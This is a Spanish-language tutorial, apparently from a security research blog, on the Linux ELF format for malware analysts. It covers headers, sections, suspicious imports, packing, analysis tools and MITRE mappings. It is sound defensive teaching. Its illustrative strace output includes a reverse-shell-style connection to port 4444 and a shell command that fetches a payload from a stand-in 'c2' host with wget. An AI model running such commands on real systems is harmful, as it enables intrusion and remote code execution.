IntermedioLinuxELFformato binarioanálisis estáticomalware

ELF 101: Formato de Ejecutables Linux para Analistas de Malware

Guía técnica del formato ELF (Executable and Linkable Format) desde la perspectiva del análisis de malware. Headers, secciones, segments, symbols, dynamic linking, y los indicadores que revelan si un binario ELF es malicioso.

MalwareIntel Research··11 min lectura
Serie: Malware en Linux — Parte 1

El equivalente Linux del PE: por qué necesitas conocerlo

Si vienes del análisis de malware en Windows, el formato PE te resulta familiar. En Linux, el equivalente es ELF (Executable and Linkable Format). Con el crecimiento del malware Linux (ransomware ESXi, botnets IoT, cryptominers en cloud), los analistas necesitan dominar ELF con la misma soltura que PE.

ELF es más simple que PE en varios aspectos, pero tiene sus propias particularidades. Este artículo cubre la estructura del formato, las herramientas de análisis y los indicadores que distinguen un binario ELF legítimo de uno malicioso.

Estructura del formato ELF

Vista general

Offset 0x0000  ┌─────────────────────────┐
               │     ELF Header          │  52/64 bytes (32/64-bit)
               │     Magic: 7f 45 4c 46  │  "\x7fELF"
               ├─────────────────────────┤
               │  Program Header Table   │  Array de segments (para carga)
               │  (PHT)                  │  Usado por el loader del kernel
               ├─────────────────────────┤
               │                         │
               │     Sections            │  .text, .data, .rodata, .bss,
               │     (contenido real)    │  .dynsym, .dynstr, .got, .plt,
               │                         │  .symtab, .strtab, .debug_*
               │                         │
               ├─────────────────────────┤
               │  Section Header Table   │  Array de secciones (para linking)
               │  (SHT)                  │  Usado por linker y debugger
               └─────────────────────────┘

Diferencia clave con PE: ELF tiene dos vistas del mismo contenido:

  • Segments (Program Headers): cómo el kernel carga el binario en memoria
  • Sections (Section Headers): cómo el linker organiza el contenido

Un ejecutable necesita segments para ejecutarse pero no necesita sections. El malware puede eliminar la Section Header Table (stripping) para dificultar el análisis, y el binario sigue funcionando porque el kernel solo usa los Program Headers.

ELF Header

Campos clave

CampoOffsetTamañoSignificado para el analista
e_ident[EI_MAG]0x004 bytesMagic: \x7fELF. Identifica como ELF
e_ident[EI_CLASS]0x041 byte1=32-bit, 2=64-bit
e_ident[EI_DATA]0x051 byte1=Little Endian, 2=Big Endian
e_type0x102 bytes2=Executable, 3=Shared Object (.so), 4=Core dump
e_machine0x122 bytesArquitectura: 0x03=x86, 0x3E=x86-64, 0x28=ARM, 0xB7=AArch64, 0x08=MIPS
e_entry0x184/8 bytesEntry point (dirección donde comienza la ejecución)
e_phoff0x1C/0x204/8 bytesOffset del Program Header Table
e_shoff0x20/0x284/8 bytesOffset del Section Header Table (0 si stripped)
e_phnum0x2C/0x382 bytesNúmero de Program Headers
e_shnum0x30/0x3C2 bytesNúmero de Section Headers (0 si stripped)

Comando readelf

$ readelf -h malware_sample

ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Entry point address:               0x400a30
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)    ← STRIPPED!
  Number of section headers:         0                       ← STRIPPED!

Indicadores de malware en el ELF Header

IndicadorSignificado
e_shoff = 0, e_shnum = 0Section headers eliminados (stripped). Común en malware para dificultar análisis
e_machine = ARM/MIPSPosible malware IoT (Mirai y variantes)
e_type = ET_DYN (shared object)Los ejecutables PIE (Position Independent) modernos usan ET_DYN, no es sospechoso per se
Entry point en dirección inusualPosible packing o manipulación

Secciones importantes para análisis de malware

SecciónContenidoRelevancia
.textCódigo ejecutableCódigo principal del malware
.rodataDatos de solo lectura (strings, constantes)Strings del malware (C2 URLs, mensajes)
.dataVariables globales inicializadasConfiguración, claves de cifrado
.bssVariables no inicializadasBuffers, estructuras en runtime
.dynsymTabla de símbolos dinámicosFunciones importadas/exportadas (equivalente a IAT/EAT)
.dynstrStrings de símbolos dinámicosNombres de funciones importadas
.gotGlobal Offset TablePunteros a funciones de librerías (target de hooking)
.pltProcedure Linkage TableStubs de llamada a funciones dinámicas
.init / .finiConstructores/destructoresCódigo que se ejecuta antes/después de main()
.init_array / .fini_arrayArrays de funciones init/finiEl malware puede añadir funciones aquí
.note.gnu.build-idBuild ID únicoÚtil para correlacionar muestras
.commentInformación del compiladorVersión de GCC/Clang, puede revelar entorno de desarrollo
.symtabTabla de símbolos completaSi existe, nombres de todas las funciones internas
.strtabStrings de la symtabNombres de funciones internas

.dynsym: el equivalente de la Import Table

La sección .dynsym contiene los símbolos que el binario importa de bibliotecas compartidas y los que exporta. Es el equivalente funcional de la Import Table del PE.

$ readelf -s --dyn-syms malware_sample | head -20

Symbol table '.dynsym' contains 45 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND connect@GLIBC_2.2.5
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND socket@GLIBC_2.2.5
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND send@GLIBC_2.2.5
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND recv@GLIBC_2.2.5
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fork@GLIBC_2.2.5
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND execve@GLIBC_2.2.5
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND system@GLIBC_2.2.5

UND (Undefined) = importada de una librería externa (equivalente a una import en PE).

Funciones importadas que indican malware

FunciónLibreríaComportamiento indicado
connect, socket, send, recvlibcComunicación de red (C2, exfiltración)
fork, daemonlibcDaemonización (persistencia en background)
execve, system, popenlibcEjecución de comandos (shell)
ptracelibcAnti-debugging (PTRACE_TRACEME)
dlopen, dlsymlibdlCarga dinámica de librerías (equivalente a LoadLibrary)
opendir, readdirlibcEnumeración de archivos (ransomware, worm)
chmod, chownlibcModificación de permisos
unlink, removelibcEliminación de archivos (cleanup, ransomware)
init_module, finit_modulelibcCarga de kernel module (rootkit)
mprotectlibcCambio de permisos de memoria (RWX, shellcode)
mmap con PROT_EXEClibcMapeo de memoria ejecutable
inotify_init, inotify_add_watchlibcMonitorización de archivos (espionaje, trigger)

Static vs Dynamic linking

AspectoStatic linkingDynamic linking
DependenciasNinguna (todo incluido en el binario)Requiere .so en el sistema
TamañoGrande (1-10+ MB)Pequeño (10-100 KB típico)
PortabilidadAlta (funciona sin librerías)Depende del sistema
AnálisisMás difícil (todo el código en el binario)Más fácil (imports visibles)
Prevalencia en malwareAlta (especialmente IoT, Go, Rust)Media
Identificaciónfile: "statically linked"file: "dynamically linked"
Símbolosreadelf -s puede mostrar funciones internasreadelf --dyn-syms muestra imports

Malware estáticamente linkado es autónomo: no depende de librerías del sistema para funcionar. Es preferido para:

  • Malware IoT (los dispositivos pueden tener librerías diferentes)
  • Malware Go/Rust (compilación estática por defecto)
  • Implants que necesitan máxima portabilidad entre distribuciones Linux

Packing en ELF

UPX

UPX es el packer más común en malware Linux, especialmente en botnets IoT:

$ file mirai_sample
mirai_sample: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header

$ strings mirai_sample | grep UPX
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $

# Desempaquetar
$ upx -d mirai_sample -o mirai_unpacked

Indicadores de packing

IndicadorHerramienta
Strings "UPX!" en el binariostrings, DIE
Section headers ausentesreadelf -h
Alta entropía en seccionesbinwalk -E
Pocas o ninguna función importadareadelf --dyn-syms
Tamaño pequeño para un binario estáticofile + ls -la

Herramientas de análisis estático de ELF

HerramientaUso
fileIdentificar tipo, arquitectura, linking
readelfHeaders, secciones, segments, símbolos
objdumpDisassembly, secciones
strings / FLOSSExtracción de strings
Detect It Easy (DIE)Detección de compilador, packer
CAPADetección automática de capacidades
GhidraDecompilador (soporte ELF excelente)
IDA ProDecompilador comercial
radare2 / rizinFramework de RE open source
binwalkAnálisis de entropía, extracción de contenido embebido
checksecVerificar mitigaciones (RELRO, NX, PIE, canaries)

Workflow de análisis estático

# 1. Identificar
file sample
sha256sum sample

# 2. Mitigaciones
checksec --file=sample

# 3. Strings
strings -a sample | sort -u > strings.txt
# Buscar: IPs, URLs, paths, comandos, mensajes de error

# 4. Headers y secciones
readelf -h sample          # ELF header
readelf -S sample          # Secciones
readelf -l sample          # Segments (program headers)

# 5. Simbolos e imports
readelf --dyn-syms sample  # Importaciones dinamicas
readelf -s sample          # Tabla de simbolos completa (si existe)

# 6. Entropia
binwalk -E sample          # Grafico de entropia

# 7. Packer detection
upx -t sample 2>/dev/null  # Test si es UPX

# 8. CAPA (si soporta la arquitectura)
capa sample

# 9. Disassembly / Decompilacion
# Ghidra, IDA Pro, o radare2

Binarios Go y Rust: particularidades

Go

Los binarios Go compilados son comunes en malware Linux moderno (Sliver C2, botnets como Kaiji):

  • Tamaño grande: 5-20 MB mínimo (runtime incluido)
  • Statically linked por defecto
  • Strings legibles: Go mantiene información de tipos y paquetes
  • GOPCLNTAB: tabla que mapea program counters a nombres de funciones (invaluable para análisis)
  • Herramientas: GoReSym (recupera símbolos), go-unpack, GoGhidra plugin

Rust

Similar a Go en tamaño y compilación estática:

  • Tamaño: 1-10 MB
  • Panic messages: strings de error de Rust presentes si no se stripean
  • Mangling de nombres: nombres de funciones con hash (dificulta lectura)
  • Herramientas: soporte en Ghidra mejorando, Rust demangler

Checksec: mitigaciones de seguridad

$ checksec --file=sample

RELRO         STACK CANARY   NX          PIE          RPATH     RUNPATH     Symbols     FORTIFY
Partial RELRO No canary      NX enabled  No PIE       No RPATH  No RUNPATH  Stripped    No
MitigaciónDescripciónEstado sospechoso
RELRORelocations Read-Only (protege GOT)No RELRO = compilación antigua o deliberada
Stack CanaryProtección contra buffer overflow en stack"No canary" = no usa protecciones modernas
NXNo-Execute (DEP equivalente)"NX disabled" = permite ejecución desde datos
PIEPosition Independent Executable (ASLR)"No PIE" = dirección base fija
StrippedSin tabla de símbolos"Stripped" = común en malware
FORTIFYFunciones seguras (strcpy_chk, etc.)"No FORTIFY" = no usa hardening

Un binario sin mitigaciones (No RELRO, No Canary, NX disabled, No PIE, Stripped, No FORTIFY) es sospechoso: fue compilado sin protecciones estándar, lo cual es normal en malware pero inusual en software legítimo moderno.

Análisis dinámico: strace y ltrace

strace (syscalls)

# Trazar syscalls del malware
strace -f -o trace.txt ./sample

# Ejemplo de output relevante:
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.1.100")}, 16) = 0
write(3, "id\n", 3)
read(3, "uid=0(root) gid=0(root)...", 1024)
fork()
execve("/bin/sh", ["sh", "-c", "wget http://c2/payload"], ...)

ltrace (library calls)

# Trazar llamadas a librerias
ltrace -f -o ltrace.txt ./sample

Mapeo MITRE ATT&CK (Linux)

TécnicaIDContexto Linux
Command and Scripting Interpreter: Unix ShellT1059.004Shell scripts, bash
Shared ModulesT1129Carga dinámica con dlopen/dlsym
File and Directory DiscoveryT1083opendir/readdir para enumerar
Indicator Removal: File DeletionT1070.004unlink para limpiar artefactos
Boot or Logon Initialization ScriptsT1037rc.local, systemd units
RootkitT1014LKM rootkits, eBPF rootkits

Fuentes y referencias

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.